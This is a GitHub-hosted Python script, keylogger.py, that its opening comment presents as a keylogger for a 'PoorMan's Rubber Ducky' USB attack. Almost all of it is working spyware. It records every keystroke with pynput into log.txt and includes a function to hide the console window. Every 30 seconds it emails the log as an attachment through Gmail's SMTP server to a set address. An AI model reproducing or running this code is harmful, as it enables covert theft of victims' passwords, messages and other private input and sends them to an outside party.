-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylogger.py
80 lines (63 loc) · 1.92 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#Python Keylogger code which can be used in PoorMan's Rubber Ducky
from pynput.keyboard import Key, Listener
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from threading import Timer
count = 0
keys=[]
def hide():
import win32console,win32gui
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)
return True
def on_press(key):
global keys,count
keys.append(key)
count += 1
if count >= 3:
count = 0
write_file(keys)
keys= []
f=open("log.txt", "a+")
def write_file(keys):
with open ("log.txt", "a") as f:
for key in keys:
k=str(key).replace("'","")
if k.find("space") >0 :
f.write('\n')
elif k.find("Key") == -1 :
f.write(k)
def on_release(key):
if key==Key.esc:
return False
def email_to():
email_user = '[email protected]'
email_password = ''
email_send = '[email protected]'
subject = 'keylogs'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'keylogger!'
msg.attach(MIMEText(body,'plain'))
filename='log.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,email_password)
server.sendmail(email_user,email_send,text)
server.quit()
Timer(30.0, email_to).start()
email_to()
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()